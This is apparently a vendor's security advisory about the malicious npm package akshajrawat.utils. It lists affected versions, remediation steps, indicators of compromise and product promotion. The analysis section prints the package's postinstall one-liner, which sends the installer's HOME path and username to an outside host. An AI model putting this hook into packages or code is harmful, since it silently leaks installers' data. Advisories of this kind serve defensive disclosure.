Which versions of akshajrawat.utils are malicious?

The following npm versions of akshajrawat.utils are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate akshajrawat.utils if I installed it?

akshajrawat.utils is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed akshajrawat.utils — how do I know if it already compromised me?

If akshajrawat.utils was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is akshajrawat.utils part of a known attack campaign?

Yes — akshajrawat.utils is associated with the GHSA-68xp-rp76-mhf5, IN-MAL-2026-010491, IN-MAL-2026-010579, RLMA-2026-05492, RLUA-2026-05964 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find akshajrawat.utils across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for akshajrawat.utils (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging akshajrawat.utils across your stack and pipelines.

Malicious package

akshajrawat.utilsnpm

akshajrawat.utils is a confirmed malicious npm package (MAL-2026-10558) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in akshajrawat.utils (npm)

MAL-2026-10558

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall akshajrawat.utils

What this malware does

The package's package.json declares a postinstall lifecycle hook that runs automatically on npm install: node -e "require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)". On every install, this issues an unconditional HTTPS GET to https://example.com/collect with the installer's $HOME path and $USERNAME embedded as query-string parameters. This is the canonical supply-chain exfiltration shape: lifecycle-triggered, unconditional, undocumented outbound transmission of installer-side identifiers. While example.com and the package description suggest the package may be a proof-of-concept or research artifact, the structural behavior would harm any installer who runs npm install against it, and the same scaffold trivially redirects to an attacker-controlled host.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

368b22696d6b2d76728b4593d3c97a3712df37b64722b96a37bf85f08e11b537

105157af41712b64f8b36ec1cb01e28958e4ad828a0c08d0979a1f6e22d1f13d

a952e1e7cd150eccce5263df459cf246d57d2fdb41b29a4bf32c7526845a2788

f48f4059cdb87dfa06ba299536849e7dc4f86a3ced7083eaf7f4320a11fb3ca5

ffb108b86a07468ae0aba693268f669aa4cd7ec85e19b30cc119837c75423fed

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for akshajrawat.utils (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging akshajrawat.utils across your stack and pipelines.
If you installed it — respond
akshajrawat.utils is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If akshajrawat.utils was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks akshajrawat.utils before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. akshajrawat.utils on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-68xp-rp76-mhf5IN-MAL-2026-010491IN-MAL-2026-010579RLMA-2026-05492RLUA-2026-05964

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks akshajrawat.utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database